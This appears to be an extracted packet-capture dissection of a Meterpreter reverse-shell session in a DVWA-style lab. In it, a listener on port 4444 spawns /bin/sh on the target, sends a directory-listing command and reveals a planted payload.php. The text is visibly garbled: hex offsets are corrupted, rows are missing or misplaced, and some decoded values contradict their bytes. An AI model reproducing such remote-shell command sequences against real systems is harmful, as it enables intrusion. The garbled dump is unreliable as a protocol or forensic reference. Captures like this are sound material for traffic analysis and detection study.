00f0 30 20 55 54 43 20 32 30 31 35 20 78 38 36 5f 36

0100 34 00 00 00 00 0c 00 02 00 04 00 00 00 00

00a0

00e0

50 00 00 00 00 60 00 01 04 11 4c 69 6e 75 78 20

69 20 4a 75 6c 20 32 34 20 32 31 3a 31 36 3a 32

0040 d0 f8

```
Frame 87: 168 bytes on wire (1344 bits), 168 bytes captured (1344 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2714, Ack: 10593, Len: 102
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000066 [Command length]: 102
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000023000100017374646170695f66735f66696c655f65... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000023000100017374646170695f66735f66696c655f65... [TLV]
   Command: 0x00000023 [Length]: 35
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f66696c655f657870616e645f7061... [Value] stdapi_fs_file_expand_path
Meterpreter protocol, TLV details
   Data: 000000290001000233373130333235373230303437373139... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 333731303332353732303034373731393932333339343439... [Value] 37103257200477199233944972152523
Meterpreter protocol, TLV details
   Data: 00000012000104b225434f4d5350454325 [TLV]
   Command: 0x00000012 [Length]: 18
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 25434f4d535045432500 [Value] %COMSPEC%
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 9a 2f 7e 40 00 40 06 f4 d1 0a 00 01 05 0a 00
                                                      ../~@.@.....
                                                      ...\...x2.....
0030 00 3f f8 94 00 00 01 01 08 0a 00 0a 7a 22 00 0e
                                                      .?....z"..
0040 d0 f8 00 00 00 66 00 00 00 00 00 00 00 23 00 01
                                                      .....f.....#..
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 66 69 6c 65
                                                      ..stdapi_fs_file
0060 5f 65 78 70 61 6e 64 5f 70 61 74 68 00 00 00 00
                                                      _expand_path....
0070 29 00 01 00 02 33 37 31 30 33 32 35 37 32 30 30
                                                      )....37103257200
0080 34 37 37 31 39 39 32 33 33 39 34 34 39 37 32 31
                                                      4771992339449721
0090 35 32 35 32 33 00 00 00 00 12 00 01 04 b2 25 43
                                                      52523.....%C
```

OMSPEC%.

00a0 4f 4d 53 50 45 43 25 00

```
Frame 88: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 10593, Ack: 2816, Len: 112
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000070 [Command length]: 112
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000023000100017374646170695f66735f66696c655f65... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000023000100017374646170695f66735f66696c655f65... [TLV]
   Command: 0x00000023 [Length]: 35
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f66696c655f657870616e645f7061... [Value] stdapi_fs_file_expand_path
Meterpreter protocol, TLV details
   Data: 000000290001000233373130333235373230303437373139... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 333731303332353732303034373731393932333339343439... [Value] 37103257200477199233944972152523
Meterpreter protocol, TLV details
   Data: 00000010000104b22f62696e2f7368 [TLV]
   Command: 0x00000010 [Length]: 16
   Type: 0x000104b2 [Type: Response]: TLV_TYPE_FILE_PATH
   Data: 2f62696e2f736800 [Value] /bin/sh
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 a4 0e cd 40 00 40 06 15 79 0a 00 01 0a 0a 00
                                                      ....@.@..y.....
                                                      ....\....x2...
0030   0a fe 16 a5 00 00 01 01 08 0a 00 0e d3 12 00 0a
0040 7a 22 00 00 00 70 00 00 00 01 00 00 00 23 00 01
                                                      z"...#..
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 66 69 6c 65
                                                      ..stdapi_fs_file
0060 5f 65 78 70 61 6e 64 5f 70 61 74 68 00 00 00 00
                                                      _expand_path....
0070 29 00 01 00 02 33 37 31 30 33 32 35 37 32 30 30
                                                      )....37103257200
0880
     34 37 37 31 39 39 32 33 33 39 34 34 39 37 32 31
                                                      4771992339449721
0090 35 32 35 32 33 00 00 00 00 10 00 01 04 b2 2f 62
                                                      52523..../b
00a0 69 6e 2f 73 68 00 00 00 00 0c 00 02 00 04 00 00
                                                      in/sh.....
```

99h9 99 99

Frame 89: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2816, Ack: 10705, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.

0010 00 34 2f 7f 40 00 40 06 f5 36 0a 00 01 05 0a 00 .4/.@.@..6......

0020 01 0a 11 5c d9 d2 14 78 32 ea 06 18 c8 72 80 10 ...\...x2...r.

0030 00 3f 12 07 00 00 01 01 08 0a 00 0a 7a 22 00 0e .?.....z"..

0040 d3 12

```
Frame 90: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2816, Ack: 10705, Len: 112
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000070 [Command length]: 112
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000023000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
   Command: 0x00000023 [Length]: 35
   Type: 0x00010001 [Type: Request]: TLV TYPE METHOD
   Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
   Data: 000000290001000237323636383732393432393338373434... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 373236363837323934323933383734343534373331333931... [Value] 72668729429387445473139116113008
Meterpreter protocol, TLV details
   Data: 00000010000108fe2f62696e2f7368 [TLV]
   Command: 0x00000010 [Length]: 16
   Type: 0x000108fe [Type: Request]: TLV_TYPE_PROCESS_PATH
   Data: 2f62696e2f736800 [Value] /bin/sh
Meterpreter protocol, TLV details
   Data: 0000000c00020900000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020900 [Type: Request]: TLV_TYPE_PROCESS_FLAGS
   Data: 00000002 [Value] 2
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 a4 2f 80 40 00 40 06 f4 c5 0a 00 01 05 0a 00
                                                      ../.@.@.....
                                                      ...\...x2....r..
0030 00 3f e3 aa 00 00 01 01 08 0a 00 0a 7a 3b 00 0e
0040 d3 12 00 00 00 70 00 00 00 00 00 00 00 23 00 01
                                                      ....#..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 70 72 6f
                                                      ..stdapi_sys_pro
                                                      cess_execute....
0060 63 65 73 73 5f 65 78 65 63 75 74 65 00 00 00 00
0070 29 00 01 00 02 37 32 36 36 38 37 32 39 34 32 39
                                                      )....72668729429
0880
     33 38 37 34 34 35 34 37 33 31 33 39 31 31 36 31
                                                      3874454731391161
0090 31 33 30 30 38 00 00 00 00 10 00 01 08 fe 2f 62
                                                      13008..../b
00a0 69 6e 2f 73 68 00 00 00 00 0c 00 02 09 00 00 00
                                                      in/sh.....
```

99h9 99 92

```
Frame 91: 202 bytes on wire (1616 bits), 202 bytes captured (1616 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 10705, Ack: 2928, Len: 136
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000088 [Command length]: 136
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000023000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000023000100017374646170695f7379735f70726f6365... [TLV]
   Command: 0x00000023 [Length]: 35
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f7379735f70726f636573735f6578656375... [Value] stdapi_sys_process_execute
Meterpreter protocol, TLV details
   Data: 000000290001000237323636383732393432393338373434... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 373236363837323934323933383734343534373331333931... [Value] 72668729429387445473139116113008
Meterpreter protocol, TLV details
   Data: 0000000c000208fc000005 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
   Data: 00000507 [Value] 1287
Meterpreter protocol, TLV details
   Data: 0000001000100276000000000000000 [TLV]
   Command: 0x00000010 [Length]: 16
   Type: 0x00100276 [Type: Response]: TLV_TYPE_PROCESS_HANDLE
   Data: 000000000000000 [Value]
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Response]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
                                                      ....@.@..`.....
0010 00 bc 0e ce 40 00 40 06 15 60 0a 00 01 0a 0a 00
....\...r.x3Z..
0030   0a fe 16 bd 00 00 01 01 08 0a 00 0e d3 2b 00 0a
                                                      0040 7a 3b 00 00 00 88 00 00 00 01 00 00 00 23 00 01
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 70 72 6f
                                                      ..stdapi_sys_pro
0060 63 65 73 73 5f 65 78 65 63 75 74 65 00 00 00 00
                                                      cess_execute....
0070 29 00 01 00 02 37 32 36 36 38 37 32 39 34 32 39
                                                      )....72668729429
0080 33 38 37 34 34 35 34 37 33 31 33 39 31 31 36 31
                                                      3874454731391161
0090 31 33 30 30 38 00 00 00 00 0c 00 02 08 fc 00 00
                                                      13008.....
00a0 05 07 00 00 00 10 00 10 02 76 00 00 00 00 00 00
```

. 2

00b0 00 00 00 00 00 0c 00 02 00 32 00 00 00 02 00 00

00c0 00 0c 00 02 00 04 00 00 00 00

Frame 92: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2928, Ack: 10841, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz......E.
0010 00 34 2f 81 40 00 40 06 f5 34 0a 00 01 05 0a 00 .4/.@.@..4......
0020 01 0a 11 5c d9 d2 14 78 33 5a 06 18 c8 fa 80 10 ...\.x3Z......
0030 00 41 10 db 00 00 01 01 08 0a 00 0a 7a 3b 00 0e .A.....z;..

0040 d3 2b

```
Frame 93: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2928, Ack: 10841, Len: 100
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000064 [Command length]: 100
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001e00010001636f72655f6368616e6e656c5f696e74... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001e00010001636f72655f6368616e6e656c5f696e74... [TLV]
   Command: 0x0000001e [Length]: 30
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f696e74657261637400 [Value] core_channel_interact
Meterpreter protocol, TLV details
   Data: 000000290001000231353832393330393632383839393138... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 313538323933303936323838393931383938373434333134... [Value] 15829309628899189874431480613030
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 000000090008000c [TLV]
   Command: 0x00000009 [Length]: 9
   Type: 0x0008000c [Type: Request]: TLV_TYPE_BOOL
   Data: 01 [Value] 2
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 98 2f 82 40 00 40 06 f4 cf 0a 00 01 05 0a 00
                                                      ../.@.@.....
                                                      ...\...x3Z.....
0030 00 41 e0 21 00 00 01 01 08 0a 00 0a 7a 69 00 0e
                                                      .A.!...zi..
0040 d3 2b 00 00 00 64 00 00 00 00 00 00 00 1e 00 01
                                                      .+...d......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 69
                                                      ..core_channel_i
0060 6e 74 65 72 61 63 74 00 00 00 00 29 00 01 00 02
                                                      nteract....)....
0070 31 35 38 32 39 33 30 39 36 32 38 38 39 39 31 38
                                                      1582930962889918
0080 39 38 37 34 34 33 31 34 38 30 36 31 33 30 33 30
                                                      9874431480613030
0090 00 00 00 00 0c 00 02 00 32 00 00 00 02 00 00 00
                                                      ....2.....
```

00a0 09 00 08 00 0c 01

```
Frame 94: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 10841, Ack: 3028, Len: 91
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005b [Command length]: 91
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001e00010001636f72655f6368616e6e656c5f696e74... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001e00010001636f72655f6368616e6e656c5f696e74... [TLV]
   Command: 0x0000001e [Length]: 30
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f696e74657261637400 [Value] core_channel_interact
Meterpreter protocol, TLV details
   Data: 000000290001000231353832393330393632383839393138... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 313538323933303936323838393931383938373434333134... [Value] 15829309628899189874431480613030
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'....'oz...E.
0010 00 8f 0e cf 40 00 40 06 15 8c 0a 00 01 0a 0a 00
                                                       ....@.@......
0020 01 05 d9 d2 11 5c 06 18 c8 fa 14 78 33 be 80 18
                                                       .....\....x3...
0030 Oa fe 16 90 00 00 01 01 08 0a 00 0e d3 59 00 0a
                                                       ............Y..
0040 7a 69 00 00 00 5b 00 00 00 01 00 00 00 1e 00 01
                                                       zi...[......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 69
                                                       ..core_channel_i
0060 6e 74 65 72 61 63 74 00 00 00 00 29 00 01 00 02
                                                       nteract....)....
0070 31 35 38 32 39 33 30 39 36 32 38 38 39 39 31 38
                                                       1582930962889918
0080 39 38 37 34 34 33 31 34 38 30 36 31 33 30 33 30
                                                       9874431480613030
```

0090 00 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 95: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae) Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10 Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3028, Ack: 10932, Len: 0 0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E. 0010 00 34 2f 83 40 00 40 06 f5 32 0a 00 01 05 0a 00 .4/.@.@..2..... 0020 01 0a 11 5c d9 d2 14 78 33 be 06 18 c9 55 80 10 ...\...x3....U.. 0030 00 41 0f c0 00 00 01 01 08 0a 00 0a 7a 69 00 0e

.Υ

0040 d3 59

.A....zi..

```
Frame 96: 180 bytes on wire (1440 bits), 180 bytes captured (1440 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3028, Ack: 10932, Len: 114
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000072 [Command length]: 114
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000232353433303833333132343836353838... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 323534333038333331323438363538383032323230313632... [Value] 25430833124865880222016268845610
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 0000000e000400346c73202d6c [TLV]
   Command: 0x0000000e [Length]: 14
   Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
   Data: 6c73202d6c0a [Value] ls -1
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 00000006 [Value] 6
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 a6 2f 84 40 00 40 06 f4 bf 0a 00 01 05 0a 00
                                                      ../.@.@.....
                                                      ...\...x3....U..
0030 00 41 e7 d3 00 00 01 01 08 0a 00 0a 7d f6 00 0e
                                                      .A....}...
0040 d3 59 00 00 00 72 00 00 00 00 00 00 00 1b 00 01
                                                      .Y...r.....
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                      ..core_channel_w
0060
     72 69 74 65 00 00 00 00 29 00 01 00 02 32 35 34
                                                      rite....)....254
0070 33 30 38 33 33 31 32 34 38 36 35 38 38 30 32 32
                                                      3083312486588022
0080 32 30 31 36 32 36 38 38 34 35 36 31 30 00 00 00
                                                      2016268845610...
0090 00 0c 00 02 00 32 00 00 00 02 00 00 00 0e 00 04
                                                      ....2......
```

.41s -1.....

00a0 00 34 6c 73 20 2d 6c 0a 00 00 00 0c 00 02 00 19

00b0 00 00 00 06

```
Frame 97: 166 bytes on wire (1328 bits), 166 bytes captured (1328 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 10932, Ack: 3142, Len: 100
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000064 [Command length]: 100
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 000000290001000232353433303833333132343836353838... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 323534333038333331323438363538383032323230313632... [Value] 25430833124865880222016268845610
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Response]: TLV_TYPE_LENGTH
   Data: 00000006 [Value] 6
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'.....'oz...E.
0010 00 98 0e d0 40 00 40 06 15 82 0a 00 01 0a 0a 00
                                                       ....@.@......
                                                       ....\...U.x40..
0020 01 05 d9 d2 11 5c 06 18 c9 55 14 78 34 30 80 18
0030   0a fe 16 99 00 00 01 01 08 0a 00 0e d6 e6 00 0a
0040 7d f6 00 00 00 64 00 00 00 01 00 00 00 1b 00 01
                                                       }....d......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                       ..core_channel_w
0060 72 69 74 65 00 00 00 00 29 00 01 00 02 32 35 34
                                                       rite....)....254
0070 33 30 38 33 33 31 32 34 38 36 35 38 38 30 32 32
                                                       3083312486588022
0080 32 30 31 36 32 36 38 38 34 35 36 31 30 00 00 00
                                                       2016268845610...
0090 00 0c 00 02 00 19 00 00 00 06 00 00 00 0c 00 02
```

00a0 00 04 00 00 00 00

Frame 98: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3142, Ack: 11032, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.

0010 00 34 2f 85 40 00 40 06 f5 30 0a 00 01 05 0a 00 .4/.@.@..0......

0020 01 0a 11 5c d9 d2 14 78 34 30 06 18 c9 b9 80 10 ...\...x40.....

0030 00 41 07 d0 00 00 01 01 08 0a 00 0a 7d f6 00 0e

0040 d6 e6

```
Frame 99: 305 bytes on wire (2440 bits), 305 bytes captured (2440 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 11032, Ack: 3142, Len: 239
Meterpreter protocol, Command details here or in the tree below
   Command: 0x000000ef [Command length]: 239
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f777269... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f777269746500 [Value] core_channel_write
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000002 [Value] 2
Meterpreter protocol, TLV details
   Data: 0000008b00040034746f74616c20380a2d72777872777872... [TLV]
   Command: 0x0000008b [Length]: 139
   Type: 0x00040034 [Type: Request]: TLV_TYPE_CHANNEL_DATA
   Data: 746f74616c20380a2d727778727778727778203120726f6f... [Value] total 8
                            667 Sep 7 2015 dvwa_email.png
-rwxrwxrwx 1 root
                  root
-rw-r--r-- 1 www-data www-data 945 Sep 2 12:51 payload.php
Meterpreter protocol, TLV details
   Data: 0000000c00020019000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 00000083 [Value] 131
Meterpreter protocol, TLV details
   Data: 00000029000100026e707171717965686a7a76626c686b69... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 6e707171717965686a7a76626c686b69786d786578697472... [Value] npqqqyehjzvblhkixmxexitreyilygwl
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 01 23 0e d1 40 00 40 06 14 f6 0a 00 01 0a 0a 00
                                                      .#..@.@.....
.....\....x40..
0030  0a fe 17 24 00 00 01 01 08 0a 00 0e d6 e6 00 0a
                                                       ...$........
0040
     7d f6 00 00 00 ef 00 00 00 00 00 00 00 1b 00 01
                                                      }......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 77
                                                       ..core_channel_w
0060 72 69 74 65 00 00 00 00 0c 00 02 00 32 00 00 00
                                                      rite....2...
0070 02 00 00 00 8b 00 04 00 34 74 6f 74 61 6c 20 38
                                                      .....4total 8
     0a 2d 72 77 78 72 77 78 72 77 78 20 31 20 72 6f
0800
                                                       .-rwxrwxrwx 1 ro
0090 6f 74 20 20 20 20 20 72 6f 6f 74 20 20 20 20 20
                                                      ot root
00a0 36 36 37 20 53 65 70 20 20 37 20 20 32 30 31 35
                                                      667 Sep 7 2015
     20 64 76 77 61 5f 65 6d 61 69 6c 2e 70 6e 67 0a
                                                       dvwa_email.png.
00b0
00c0
     2d 72 77 2d 72 2d 2d 72 2d 2d 2d 20 31 20 77 77 77
                                                       -rw-r--r-- 1 www
00d0 2d 64 61 74 61 20 77 77 77 2d 64 61 74 61 20 39
                                                       -data www-data 9
00e0 34 35 20 53 65 70 20 20 32 20 31 32 3a 35 31 20
                                                      45 Sep 2 12:51
00f0
     70 61 79 6c 6f 61 64 2e 70 68 70 0a 00 00 00 0c
                                                      payload.php....
0100 00 02 00 19 00 00 00 83 00 00 00 29 00 01 00 02
                                                       . . . . . . . . . . ) . . . .
0110 6e 70 71 71 71 79 65 68 6a 7a 76 62 6c 68 6b 69
                                                      npqqqyehjzvblhki
0120 78 6d 78 65 78 69 74 72 65 79 69 6c 79 67 77 6c
                                                      xmxexitreyilygwl
0130 00
```

Frame 100: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 3142, Ack: 11271, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.

0010 00 34 2f 86 40 00 40 06 f5 2f 0a 00 01 05 0a 00 .4/.@.@../.....

0020 01 0a 11 5c d9 d2 14 78 34 30 06 18 ca a8 80 10 ...\...x40.....

0040 d6 e6

```
Frame 101: 177 bytes on wire (1416 bits), 177 bytes captured (1416 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
